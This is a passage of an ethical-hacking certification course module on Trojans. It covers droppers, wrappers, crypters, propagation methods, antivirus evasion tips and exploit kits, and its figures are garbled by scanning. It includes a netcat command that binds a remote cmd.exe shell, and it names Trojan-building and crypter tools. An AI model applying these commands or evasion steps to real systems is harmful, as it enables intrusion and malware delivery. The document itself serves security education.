A command shell Trojan provides remote control of a command shell on a victim's machine. A
Trojan server is installed on the victim's machine, which opens a port, allowing the attacker to
connect. The client is installed on the attacker's machine, which is used to launch a command
shell on the victim' s machine. Netcat, DNS Messenger, GCat are some of the command shell
Trojans.

C : > nc <ip> <port>


C : > nc - L - p <port>
- t - e cmd . exe

Figure 7.24: Working of Command Shell Trojan

Module 07 Page 999 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

How to Infect Systems Using a Trojan


STEP 1: Create a new Trojan pa cket

STEP 2: Employ a dropper or downloader to install t he malicious code on t he ta rget system

STEP 3: Employ a wrapper to bind the Trojan to a legiti mat e fi le

Attacker STEP 4 : Employ a crypter to encrypt the Trojan

STEP 5: Propagate the Trojan by va rious methods

STEP 6: Deploy the Trojan on the victim's machine by execut ing dropperor downloaderon the t arget machine
Trojan ~
Packet ~ STEP 7: Execute t he damage routine

....►1
~
Dropper

,:......_
Downloader
j j
Wrapper

......, r·····1 ,·· ··I


U : :
~

Trojan Packet :
dir, ~
I L~:~~:
~
Email

:··········
USB
!..·······j······C!!J--l·····t········· ~§n·..······i••••••····
~
·········1
· ··· ··· :

:
j
I " '" ...
·····j········· ~EJ?-'··········>
"" ~
~

:.. . ~
:
·I ....:: ::........1=1
: :
:
Calc.exe
:• ~t±i a :·······
.!....... . Other ·······i
Medium ...... . ~
: ~ +• -a Victim's Machine

~~ .......! Crypter , ...... ~;~~~~~;~...... ; Deploy Damage Routine

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

How to Infect Systems Using a Trojan


An attacker can remotely control the system hardware and software by installing a Trojan on
the system. Once the Trojan is installed on the system, the data become vulnerable to threats.
In addition, the attacker can perform attacks on third-party systems.
Attackers deliver Trojans in many ways to infect target systems:
■ Trojans are included in bundled shareware or downloadable software. When users
download such files, the target systems automatically install the Trojans.
■ Different pop-up ads try to trick users. They are programmed by the attacker such that
regardless of whether users click YES or NO, a download will begin and the Trojan will
automatically install itself on the syst em.
■ Attackers send the Trojans as email attachments. When users open these malicious
attachments, the Trojans are automatically installed.
■ Users are sometimes tempted to click on different types of files, such as greeting cards,
porn videos, and images, which might contain Trojan s. Clicking on these files installs the
Trojans.
Attackers infect a t arget machine using a Trojan in the following steps :
■ Step 1: Create a new Trojan packet using various tools such as Trojan Horse
Construction Kit, Social Engineering Toolkit (SET), and Beast. New Trojans have a higher
chance of succeeding in compromising the target system, as the security mechanisms
might fail to det ect them. These Trojans can be transf erred to the victim's machine
using a dropper or downloader.

Module 07 Page 1000 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

■ Step 2: Employ a dropper or a downloader to install the malicious code on the target
system . The dropper appears to users as a legitimate application or a well-known and
trusted file. However, when it is run, it extracts the malware components hidden in it
and executes them, usually without saving them to the disk, to avoid detection.
Droppers include images, games, or benign messages in their packages, which serve as a
decoy to divert users' attention from malicious activities. Downloaders are malware
transporters that do not contain the actual malware file; however, they contain the link
from where the actual Trojan can be downloaded. When a downloader is executed on
the target machine, it connects back to the attacker's server and downloads the
intended Trojan on the victim's machine. Droppers can easily evade firewalls; however,
a downloader can be detected with the help of network analyzer tools.
■ Step 3: Employ a wrapper such as petite.exe, Graffiti.exe, IExpress Wizard, or eliTeWrap
to help bind the Trojan executable to legitimate files to install it on the target system.
■ Step 4: Employ a crypter such as BitCrypter to encrypt the Trojan to evade detection by
firewalls/IDS.
■ Step 5: Propagate the Trojan by implementing various methods such as sending it via
overt and covert channels, exploit kits, emails, and instant messengers, thereby tricking
users into downloading and executing it. An active Trojan can perform malicious
activities such as irritating users with constant pop-ups, changing desktops, changing or
deleting files, stealing data, and creating backdoors.
■ Step 6: Deploy the Trojan on the victim's machine by executing the dropper or
downloader software to disguise it. The deployed file contains wrapped and encrypted
malware.
■ Step 7: Execute the damage routine. Most malware contain a damage routine that
delivers payloads. Some payloads just display images or messages, whereas others can
even delete files, reformat hard drives, or cause other damage. The damage routine can
also include malware beaconing.

,. . ,._ . ., r. . .1,. . . I ,r.:~.:.~:.~.~; .·.·.·. .:: d n


Dropper
Wrapper
'fi
1
Email A

A Attacker
cF.;9
Tro·an
J
Packet
: D
l
.....~.......... ►:
:
Downloader


: . . .. •T.
~
:
t.. . . .
;
( ......

!
... ,
:
l
:
:
Trojan Packet :

{i :
Cale exe
t~ ......... ~~f'\......i~.......
L..... GB .......:
!
~~r:. . . . . . ):
a !
USB
Other

.
l
:.:::::t.......
:
:····· ·· Medium . .•.... ~
........................ ;
a
• ·~

Victim's Machine

GJ[±) Crypter Propaeate Deploy Oamaee Routine

Figure 7.25: Diagram showing the complete process involved in infecting target machine using Troj an

Module 07 Page 1001 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Ethical Hacker
Malware Threats

Creating a Trojan
Trojan Horse construction kits help attackers t o l DarkHorse Trojan Virus Maker

[ construct Trojan horses of their choice


The tools in t hese kit s can be dangerous and ca n
backfire if not properly execut ed
DarkH orse Trojan vi rus maker creates user-specified Trojans
by sel ecting fro m various optio ns

(> DarkHorse Trojan Virus Malet!'" 1.2)

Trojan Horse Construction Kits

e Trojan Horse Construct ion Kit

e Senna Spy Trojan Generator

e Batch Trojan Generat or

e Umbra Loader- BotnetTrojan


M aker

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Creating a Trojan
Attackers can create Trojans using various Trojan horse construction kits such as DarkHorse
Trojan Virus Maker, and Senna Spy Trojan Generator.
Trojan Horse Construction Kit
Trojan horse construction kits help attackers con struct Trojan horses and customize them
according to their needs. These tools are dangerous and can backfire if not properly executed .
New Trojans created by attackers rema in undetected when scanned by virus- or Trojan-
scanning tools, as they do not match any known signatures. This added benefit allows attackers
to succeed in launching attacks.

Module 07 Page 1002 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

■ DarkHorse Trojan Virus Maker


DarkHorse Trojan Virus Maker is used to create user-specified Trojans via selection from
a variety of available options. The Trojans are created to act according to these selected
options. For example, if you choose the option Disable Process, the Trojan disables all
processes on the target system. The figure below shows a snapshot of DarkHorse Trojan
Virus Maker with its various available options.

Figure 7.26: Screenshot of DarkHorse Troj an Virus M aker

Some additional Trojan horse construction kits are as follows:


■ Trojan Horse Construction Kit
■ Senna Spy Trojan Generator
■ Bat ch Trojan Generator
■ Umbra Loader - Botnet Trojan M aker

Module 07 Page 1003 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Employing a Dropper or Downloader


Droppers Downloaders

Dropper is used to camouflage the malware Downloader is a program that can download
payloads that can impede the functioning of and install harmful programs like malware
the targeted systems
Dow nloader does not carry malware of itself
Dropper consists of one or more types of as dropper does, so there is the possibility for
malware features that can make it a new unknown down loader to pass through
undetectable by antivirus software; also the the anti-malware scanner
installation process can be done stealthy
Godzilla Downloader, Trojan.Downloader,
Emotet dropper, Dridex dropper, Gymdrop, W97M .Downloader, and
and Anatsa are some of the famous droppers ISB.Downloader!gen3O9 are some of the
that attackers employ for deploying malware famous downloaders that attackers employ
to the target machine for deploying malware to the target machine

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Employing a Dropper or Downloader


After constructing their intended Trojans, attackers can employ a dropper or a downloader to
transmit the Trojan package to the victim's machine.
Droppers

Droppers are programs that are used to camouflage malware payloads that can impede the
functioning of the target system . The dropper consists of one or more types of
malware features that can make it undetectable by antivirus software; moreover, the
installation process can be stealthily performed .
The dropper is executed by simply loading its own code into the memory, and the malware
payload is then extracted and written into the file system. Next, the malware installation
process is initiated, and the payload is executed.
Emotet, Dridex, Gymdrop, and Anatsa are well-known droppers that attackers employ for
deploying malware on the target machine.
Down loaders

A downloader is a program that can download and install harmful programs such as
malware. Downloaders are similar to droppers to a certain extent. However, the main
difference is that a down loader does not carry malware itself whereas a dropper does; hence, it
is possible for a new unknown down loader to pass through the anti-malware scanner.
Attackers use downloaders as part of the payload or other harmful programs that can drop and
stealthily install the malware. Downloaders are spread as camouflaged files attached in emails,
and the attached programs pose as legitimate programs such as accounts.exe or invoices.

Module 07 Page 1004 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

When the victim opens the attached infected file, the down loader tries to contact the remote
server for directly fetching other malicious programs.
Godzilla downloader, Trojan.Downloader, W97M .Downloader, and ISB.Downloader!gen309 are
some well-known downloaders that attackers employ for deploying malware on the target
machine.

Module 07 Page 1005 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Employing a Wrapper

A wrapper binds a Trojan executable with genuine looking .EXE applications,


such as games or office applications

When the user runs the wrapped .EXE, it fi rst installs the Trojan in the
1L..
o ,• ~ rojan.exe
File Sile: 20K
•···· · .. ·,
:

j
I
l±IEI
background and then runs the wrapping application in the foreground .,,
~ Calc.exe
:·· · ·· · ··· ►
:
:
01±1
Calc.exe
Attackers might send a birthday greetingthatwill install a Trojan as the user ~ File size: 90K .... . . . . ..:
File size : llOK

watches, for example, a birthday ca ke dancing across the screen

!Express Wizard

!Express Wizard wrapper


I 1ExprenWiurd

__
...Welcome to ! Express 2.0
l'hit'flWR!wl~youcre«e1tel~ /
X

Fnt. YoU r,eedto aeatea Ser ExtrKfion Dlred!w: (SEO)


li!ltollOl'llriOffl\llionabo..l)'OII'~. IYoUhave
e eliTeWrap
Wrappers

guides the user to create lftldydonelhl. aeled.OJ,eneidltngone:ocher-Mle,

a self-extracting package
- , c t ~ New Sef &;trai;tiar, Din!ctr,e Ne
e Advanced File Joiner
r. ~atenewSef&tr«:tionCnctlveNe
that can automatically r 0pm erm,g Se1 Emadlon ChdiveNe e Soprano 3
install the embedded __J
setup files, Trojans, etc. e Exe2vbs

e Kriptomatik

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Employing a Wrapper
Wrappers bind the Trojan executable with.EXE applications that appear genuine, such as games
or office applications. When the user runs the wrapped .EXE application, it first installs the
Trojan in the background and then runs the wrapping application in the foreground. The
attacker can compress any (DOS/WIN) binary with tools such as petite.exe. This tool
decompresses an EXE file (once compressed) at run time. Thus, it is possible for the Trojan to
get in virtually undetected, as most antivirus software cannot detect the signatures in the file.
The attacker can also place several executables inside one executable. These wrappers may also
support functions such as running one file in the background and another one on the desktop.
Technically speaking, wrappers are a type of " glueware" used to bind other software
components together. A wrapper encapsulates several components into a single data source to
make it usable in a more convenient manner compared to the original unwrapped source.
The lure of free software can trick users into installing Trojan horses. For instance, a Trojan
horse might arrive in an email described as a computer calculator. When the user receives the
email, the description of the calculator may lead him/her to install it. Although it may, in fact,
be a default application, once the user installs the application file, the Trojan is installed in the
background and it will perform other actions that are not readily apparent to the user, such as
deleting files or emailing sensitive information to the attacker. In another instance, an attacker
sends a birthday greeting that will install a Trojan as the user watches, e.g., a birthday cake
dancing across the screen.

Module 07 Page 1006 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

~ Trojan.exe •• • • • • • • •
- " File size: 20K
•0-0•

........ [±]E]
01±1
~

'¥7 Calc.exe

i
Calc.exe
File size: 110K
File size: 90K
+

Figure 7.27: Exa mple of Wrapper

Covert Wrapper Programs

• !Express Wizard

!Express Wizard is a wrapper program that guides the user to create a self-extracting
package that can automatically install the embedded setup files, Trojans, etc. !Express
can remove the setup files after execution and thus erase traces of Trojans. Then, it can
run a program or only extract hidden files. Such embedded Trojans cannot be detected
by antivirus software.

Iii !Express Wizard X

Welcome to !Express 2.0


This wizard will help you create a seW-extracting /
seW-installing package.

Rrst, you need to create a SeW Extraction Directive (SED)


file to store infonnation about your package. Wyou have
already done this . select Open existing one: otherwise.
select Create New SeW Extraction Directive file .

r- Create new SeW Extraction Directive file .

1 Open existing Sei Extraction Directive f~e:


Browse

< Back Next > Cancel

Fig ure 7.28: Screensho t o f !Express Wiza rd

Some additional wrapper tools are as follows:


• eliTeWrap • Exe2vbs
• Advanced File Joiner • Kriptomatik
• Soprano 3

Module 07 Page 1007 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Cert ified Et hical Hacker
Malware Threats

Employing a Crypter

Crypter is software used by hackers to hide viruses, keyloggers or tools in any kind of file, so that
they do not easily get detected by antiviruses

BitCrypter Crypters
BitCrypter can be used 8 SwayzCryptor
t o encrypt and compress
32-bit executables and 8 Snip3
.NET apps without
8 Babadeda
affecting their direct
f uncti onality 8 Aegis Crypter 2.0

8 Hidden Sight Crypter

8 Battleship Crypt er

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Employing a Crypter
A crypter is a software that encrypts the original binary code of the .exe file. Attackers use
crypters to hide viruses, spyware, keyloggers, RATs, etc., to make them undetectable by
antivirus software.
Some crypters that one can use to prevent malicious programs from being detected by security
mechanisms are as follows.
• BitCrypter

Source: https://www.crypter.com
BitCrypter can be used to encrypt and compress 32-bit executables and .NET apps
without affecting their direct functionality. A Trojan or malicious software piece can be
encrypted into legitimate software to bypass firewalls and antivirus software. BitCrypter
supports a wide range of OS, from Windows XP to the latest Windows 10.

Module 07 Page 1008 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Figure 7.29: Screenshot of BitCrypter

Some additional crypter tools are as follows :


■ SwayzCryptor ■ Hidden Sight Crypter
■ Snip3 ■ Battleship Crypter
■ Babadeda ■ HEAVEN CRYPTER
■ Aegis Crypter 2.0 ■ Cypherx

Module 07 Page 1009 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Propagating and Deploying a Trojan


Deploy a Trojan through Emails Major Trojan Attack Pat hs:
e User clicks on the malicious link
e User opens malicious e mail attachments

....... Apple Store


Call 1-000-MY-APPLE
..............................................................
The Trojan connects to the attack server
Dear Customer.
Link to Trojan Server

_.,_
TOViflHthernost ~ ~te5ta(US and ~
Apple Online Store or<U!r, ViSll onlineyoo~
yoor

Yw cai mo cOIOCt Apple S1or, Cunomer Sll'Vk, • 1-S00.676-m:; « YU1l oalilc r«

- ..~:.':::.::.:t:...:~·-·--··- -
····· ············· ·· ···· ······· ···· ·· ······· ····

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Propagating and Deploying a Trojan (Cont'd)


Deploy a Trojan through Covert Channels

Attackers use covert channels to deploy and hide malicious Trojans in an undetectable protocol

Covert channels operate on a tunneling method and are mostly employed by attackers to evade firewalls that
are deployed in the target network

Attackers can create covert channels using various tools such as Ghost Tunnel V2, ElectricFish, and Bachosens
Trojan

~·····················································l
• Covert Channel through TCP/ UDP :

➔~---- . ·>'=-
--- - . . . . . . . ... . . . . . .. .- - ~~- -~-. . ..~,.. .,_,. ._
Attacker
~·.....•.

Malicious Server
--
Firewall
-
Target Server Attack Target Services

Copynght O by (C~IIICII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Module 07 Page 1010 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Propagating and Deploying a Trojan (Cont'd) ~ :~ ~


Deploy a Trojan through Proxy Servers

Attackers compromise several computers using a Trojan proxy and start using them as hidden proxy servers

The attackers have full control over the proxy victim's systems and can launch attacks on other systems from
an affected user's network

Attackers use this to anonymously propagate and deploy the Trojan on to the target computer

If the authorities detect illegal activity, the footprints lead to innocent users

Thousands of machines on the Internet are infected with proxy servers

a . . . . . . . . . 11!11!1 .. . . . . . . . .
A ~~ ~ ................ ~

Attacker Compromised Internet Target Company


Proxy Servers

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Propagating and Deploying a Trojan (Cont'd)


Deploy a Trojan through USB/Flash Drives

..) Attackers drop the USB drives on the pathway and wait for random victims to pick them up

Once the USB drive is picked up and inserted in the target system by the innocent victim, the Trojan is propagated
onto the system and is automatically executed, thus infecting and compromising the system and network

Malicious Server

....•················"'

Drops
· · ··· ·· ········· ········ · ······ · ···· ···· · · · ·· · ·······►
Drop and Execute Trojan
Attacker Malicious USB Victim
Inserts USB Compromise
Finds USB
in System Victim's System

Copynght O by (C-CHICII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Module 07 Page 1011 Ethical Hacking and Countermeasures Copyright © by EC•Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Propagating and Deploying a Trojan (Cont'd) ~ :~ ~


Techniques for Evading Antivirus Software

Break the Trojan file into multiple pieces and zip them as a single file

[< ALWAYS wc;t, yooc owo Trnjao, aod embed ;1 ; oto ao appHcahoo

--==============:: ; :

L
Change the Trojan's syntax:
e Convert an EXE to VB script
e Change .EXE extension to .DOC.EXE, .PPT.EXE or .PDF.EXE (Windows hides "known exte nsions" by default, so it shows up
only as .DOC, .PPT and .PDF)

l- Chaoge the cooteot of the Trnjao ,s;og he, edltM aod also chaoge the check,,m aod eoccypt the file

Never use Trojans downloaded from the web {antivirus can detect these easily)

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Propagating and Deploying a Trojan


After creating a Trojan and employing a dropper/downloader, wrapper, and crypter, the
attacker must transfer the package and deploy it on the target machine. The attacker can use
the following techniques to propagate the Trojan package to the target machine:
• Deploy a Trojan through emails
■ Deploy a Trojan through covert channels
■ Deploy a Trojan through proxy servers
• Deploy a Trojan through USB/flash Drives
Deploy a Trojan through Emails

A Trojan is the means by which an attacker can gain access to the victim's system. To gain
control over the victim's machine, the attacker creates a Trojan server and then sends an email
that lures the victim into clicking on a link provided within the email. As soon as the victim clicks
the malicious link sent by the attacker, it connects directly to the Trojan server. The Trojan
server then sends a Trojan to the victim system, which undergoes automatic installation on the
victim's machine and infects it. As a result, the victim's device establishes a connection with the
attack server unknowingly. Once the victim connects to the attacker's server, the attacker can
take complete control of the victim's system and perform any action. If the victim carries out an
online transaction or purchase, then the attacker can easily steal sensitive information such as
the victim's credit card details and account information. In addition, the attacker can use the
victim's machine to launch attacks on other systems.
The Trojan may infect computers when users open an email attachment that installs the Trojan
on their computers, which might serve as a backdoor for criminals to access the system later.

Module 07 Page 1012 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

J
Major Trojan Attack Paths:
e User clicks on the malicious link

G e User opens malicious email attachments

Apple Store
Cal 1-800-MY-APPLE
...............................................................
The Trojan connects to the attack server
Dell Customer,
link to Trojan Server

0 _.,_ Toviewhmost~es&aUand_~
APC)IICWlnt~eordlf,\lllll<Wiint~

r .. c.Mc:oei&lld AnWS..-.c..u-sff'fk. • 1-800-6'1'-ZT1S«-,....,r«


'f'M

--.. .....,----·..-
-........................................................
.-..
.,,._..,.__~_._

Vi.ctim ,t.: ··©·~i~i;;,·;,;;;;;~~·;i~~· ~·n·~i;,;,;.;;~i;;:,~··►


connects to Trojan server Int ernet
··•·•·•·•••··•·•···•·•·•··•·•··•·· ~=·~ Attacker
T

Attacker installs • • • ••• ~


the Trojan, :
infecting _his j
11...
.o• "••······•:.) :• Trojan Server
machine :. • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • • 3 .............. ••••••• -
Trojan is sent to the victim

Figure 7.30: Propagating and deploying Trojan through email

Deploy a Trojan through Covert Channels

"Overt" refers to something explicit, obvious, or evident, whereas "covert" refers to something
secret, concealed, or hidden.
An overt channel is a legal channel for the transfer of data or information in a company
network, and it works securely to transfer data and information. On the contrary, a covert
channel is an illegal, hidden path used to transfer data from a network.
The table below lists the primary differences between overt and covert channels:

Overt Channel Covert Channel

A legitimate communication path A channel that transfers information within a


with in a computer system or computer system or network in a way that
network for the transfer of data violates the security policy
Its idle components can be An example of a covert channel is the
exploited to create a covert communication between a Trojan and its
channel command -and-control center

Table 7.2: Comparison between the overt channel and covert channel

Covert channels are methods used by attackers to deploy and hide malicious Trojans in an
undetectable protocol. They rely on a technique called tunneling, which enables one protocol
to transmit over the other. This makes it an attractive mode of transmission for a Trojan,
because an attacker can use the covert channel to install a backdoor on the target machine.
Covert channels are mostly employed by attackers to evade antivirus scanners and firewalls
deployed in the target network. Attackers can create covert channels using various tools such
as Ghost Tunnel V2, ElectricFish, and Bachosens Trojan. These tools enable attackers to create
covert tunnels with protocols such as DNS, SSH, ICMP, and HTTP/S, to deploy Trojans and
perform data exfiltration.

Module 07 Page 1013 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Right s Reserved . Reproduction is Strictly Prohibited .
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Attacker Malicious Server Firewall Target Server Attack Target Services

Figure 7.31: Propagating and deploying Trojan through covert channels

Deploy a Trojan through Proxy Servers

A Trojan proxy is usually a standalone application that allows remote attackers to use the
victim's computer as a proxy to connect to the target machine. Attackers compromise several
computers and start using them as hidden proxy servers. Attackers have full control over the
proxy victim's system and can launch attacks on other systems in the affected user's network.
Attackers use this strategy to anonymously propagate and deploy the Trojan on the target
computer. If the authorities detect illegal activity, the footprints lead to innocent users and not
to the attackers, potentially resulting in legal hassles for the victims, who are ostensibly
responsible for their network or any attacks launched from them. Thousands of machines on
the Internet are infected with proxy servers. Attackers can also employ proxy server Trojans
such as Linux.Proxy.10, Proxy Trojan, or Pinkslipbot (Qbot), which can automatically create
proxies and be used to perform malicious activities.

A
Ill-
Attacker
.................. ~
[!] [!]
[!] [!] ····················~
Compromised Internet
·················~
Target Company
Proxy Servers

Figure 7.32: Propagating and deploying Trojan through proxy servers

Deploy a Trojan through USB/Flash Drives

An attacker can also transfer the Trojan package onto a USB drive and trick the victim into using
the USB drive on the target system. Sometimes, attackers just drop a USB drive and wait for a
random victim to pick it up. Once the USB drive is picked up and inserted into the target system
by the innocent victim, the Trojan is propagated on the system by the drop or download
method, depending on the type of packaging technique used by the attacker. After propagating
to the victim's machine, the Trojan is automatically executed on the target system, thereby
infecting and compromising the system and network.
Malicious Server

A-•Attacker
Drops
Malicious USB Victim
Finds USB
Inserts USB
in System
....•·················""
·······················································l
Drop and Execute Trojan
>-
Compromise
Victim's Sys tem

Figure 7.33: Propagating and deploying Trojan through USB

Module 07 Page 1014 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Cou ntermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Techniques for Evading Antivirus Software


Sometimes, various types of antivirus scanners are deployed in the target network, and these
antivirus scanners do not allow the propagation or deployment of random or malicious
packages. Hence, propagating and deploying a Trojan stealthily is one of the important tasks of
an attacker. The various techniques that can be used by attackers to make malware such as
Trojans, viruses, and worms undetectable by antivirus applications are listed below.
1. Break the Trojan file into multiple pieces and zip them as a single file.

2. Always write your Trojan and embed it into an application (an antivirus program fails to
recognize new Trojans, as its database does not contain the proper signatures).
3. Change the Trojan' s syntax:
o Convert an EXE to VB script
o Change the .EXE extension to .DOC, .EXE, .PPT, .EXE, or .PDF.EXE (Windows hides
" known extensions" by default; hence, it shows up only as .DOC, .PPT, .PDF, etc.)
4. Change the content of the Trojan using a hex editor.
5. Change the checksum and encrypt the file.
6. Never use Trojans downloaded from the web (antivirus software detects these easily).
7. Use binder and splitter tools that can change the first few bytes of the Trojan programs.
8. Perform code obfuscation or morphing. Morphing is done to prevent the antivirus
program from differentiating between malicious and harmless programs.

Module 07 Page 1015 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibit ed.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

Exploit Kits
An exploit kit or crimewaretoolkit is a platform to deliver exploits and payloads such as Trojans, spywares, backdoors,
bots, and buffer overflow scripts to the target system

Exploit kits come with pre-written exploit codes and therefore can be easily used by an attacker, who is not an IT or
security expert

~
~
Visits legitimate website
····O ·····························~ § ~
~
Legitimate website hosted
on compromised web server
-·· 9 ····································~

A ····· - ~"
=
Victim . . ••-.:I'
leg1t1mate ··• ••· •••• Compromised
Website • • • •• \'I
• • •• • tht'oui Web Server
• • ••• •• d:tec.te0 f',let'S
••. ••• . \s te \ d,\a'N se
• • · • •· \l\c.t\t1" 'l'\tett1"e
• •••• ••• ••• •• .,.at\oUS'
Exploit kit gathers
information on the victim
and delivers the exploit
e
• ··························3>
Victim lands at an exploit kit
server hosting the exploit
pack landing page
Exploit Kit Exploit Pack
Server Landing Page

Copyright O by (C-CIUICII All Rights Reserved Reproduction 1s Stnctty Prohibited

Exploit Kits (Cont'd)


The BotenaGo exploit kit w ritten in the Go scripting language contains over 30 variants of exploit s,

BotenaGo I which make it capable of attacking millions of loT and routing devices worldwide
Using BotenaGo, att ackers initiate the exploitat ion process by dropping a backdoo rinto the victim's
device through port 31412

Exploit Kits
e Lo rd ...
1.09MB 202MO• IOO<n,ll9\ITC
.., M
ELF

e UnderminerExploit Kit

e RIG Exploit kit


e Magnitude
Security-.dcn'.-.lyslaon l02HO· I010Hl:l9 v

(D Elf ~0111)]
e Angler
e Neutrino
- (i) e.:_,,... ai/l.Jnu~18Aff(CLASSIC)

-H
E) UncletectOd l'?) Urltletec:led
e Terror
- {?) LnMtK!lld

e Sundown lwlt· AVl (2) Un0etec:ted

r,,. , ...........,...

Copynght O by (C~IIICII All Rights Reserved Reproduction 1s Strictly Proh1b1ted

Exploit Kits
An exploit kit or crimeware toolkit is used to exploit security loopholes found in software
applications such as Adobe Reader and Adobe Flash Player, by distributing malware such as
spyware, viruses, Trojans, worms, bots, backdoors, buffer overflow scripts, or other payloads to
the target system. Exploit kits come with pre-written exploit code. Thus, they are easy to use
for an attacker who is not an IT or security expert. They also provide a user-friendly interface to
track the infection statistics as well as a remote mechanism to control the compromised

Module 07 Page 1016 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited.
Ethical Hacking and Countermeasures Exam 312-50 Certified Ethical Hacker
Malware Threats

system. Using exploits kits, an attacker can target browsers, programs that are accessible using
browsers, zero-day vulnerabilities, and exploits updated with new patches instantly. Exploit kits
are used against users running insecure or outdated software applications on their systems.

Legitimate website hosted ~


Visits legitimate website
····0 ·······························3>- ~-
on compromised web server
····•·····································➔ =•

Victim
Legitbi"'.ate
-■
=
••• • •··•· ·•·.
e······ - - A
~
Compromise~
We site • ••• • "
• •• • • d \l\loui Web Server
• • • • • • • • ~ • • ed\\'ec\~ se'C"etS
• •. • • . -'i"" ,s i ed1al'l
• •• • \II~' · l'\efl'(\

4.:······
...... ••·•
• •• • • •
"a
t\OUS \ Exploit kit gathers
information on the victim
and delivers the exploit
e
...·[i) [iJ
~
/ .·· ~--.
: ·•... rjil ...... • ······
l.ir' ······················►
Victim lands at an exploit kit
,.:• j •·.:.l t."... server hosting the exploit

[i)····►[i] ... ~[i) [i)····>[i) pack landing page


Exploit Kit Exploit Pack
Server Landing Page

Figure 7 .34: Process of exploitation using exploit kits

The diagram above shows the general procedure for an exploit kit; the process of exploiting a
machine might vary depending on the exploit kit used:
■ The victim visits a legitimate website that is hosted on the compromised web server.
■ The victim is redirected through various intermediary servers.
■ The victim unknowingly lands on an exploit kit server hosting the exploit pack landing
page .
■ The exploit kit gathers information on the victim, based on which it determines the
exploit and delivers it to the victim's system .
■ If the exploit succeeds, a malware program is downloaded and executed on the victim's
system .
Exploit Kits

■ BotenaGo Exploit Kit

The BotenaGo exploit kit written in the Go scripting language contains over 30 variants
of exploits and is cable of attacking millions of loT and routing devices worldwide.
BotenaGo was first discovered in November 2021 and observed as Mirai botnet
malware by antivirus software. Using BotenaGo, attackers initiate the exploitation
process by placing a backdoor in the victim device through port 31412 by sending a GET
request and listens for the victim IP as the response through port 19412. After
successfully embedding a backdoor in the victim device, attackers can explore the
device using exploit functions that are preconfigured in the source code. BotenaGo is
successfully being used by attackers in distributing DDoS functionalities by spreading
payloads to victim devices.

Module 07 Page 1017 Ethical Hacking and Countermeasures Copyright © by EC-Council


All Rights Reserved. Reproduction is Strictly Prohibited .
Ethical Hacking and Co untermeasures Exam 312-50 Certified Et hical Hacker
Malware Threats

Features:

o No active communication with the command-and-control unit during exploitation


o Exploits based on exploitation function mapping
o Exploits up to 33 vulnerabilities in the initialization phase
o Launches Mirai malware on the victim device through links
The table below lists some of the vulnerabilities that can be exploited by BotenaGo.

Vulnerability Affected devices

